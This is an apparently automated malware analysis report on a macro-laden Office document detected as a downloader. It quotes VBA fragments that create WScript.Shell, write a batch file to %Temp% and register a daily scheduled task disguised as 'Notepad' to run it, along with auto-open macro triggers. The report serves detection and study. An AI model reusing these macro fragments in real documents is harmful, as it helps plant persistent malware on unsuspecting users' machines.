Malicious Office (OOXML) — malware analysis report

Heuristics 12

• ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
• VBA project inside OOXML medium 8 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

      Dim oShell As Object, FileName As String
      Set oShell = CreateObject("WScript.Shell")
      FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")

• Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
  Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  Matched line in script

      Dim oShell As Object, FileName As String
      Set oShell = CreateObject("WScript.Shell")
      FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

      Dim oShell As Object, FileName As String
      Set oShell = CreateObject("WScript.Shell")
      FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")

• cmd.exe reference in VBA high OLE_VBA_CMD
  cmd.exe reference in VBA
  Matched line in script

      Set oFile = Nothing
      CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /SC DAILY /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /ST 11:00 /F"""
  End Sub

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  End Sub
  Sub AutoOpen()
      Auto_Open

• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  End Sub
  Sub Workbook_Open()
      Auto_Open

• Auto_Open macro low OLE_VBA_AUTO
  Auto_Open macro
  Matched line in script

  Attribute VB_Name = "NewMacros"
  Sub Auto_Open()
      Dim first As String

• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)

  • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Open this report in the interactive analyzer, or submit your own file for analysis.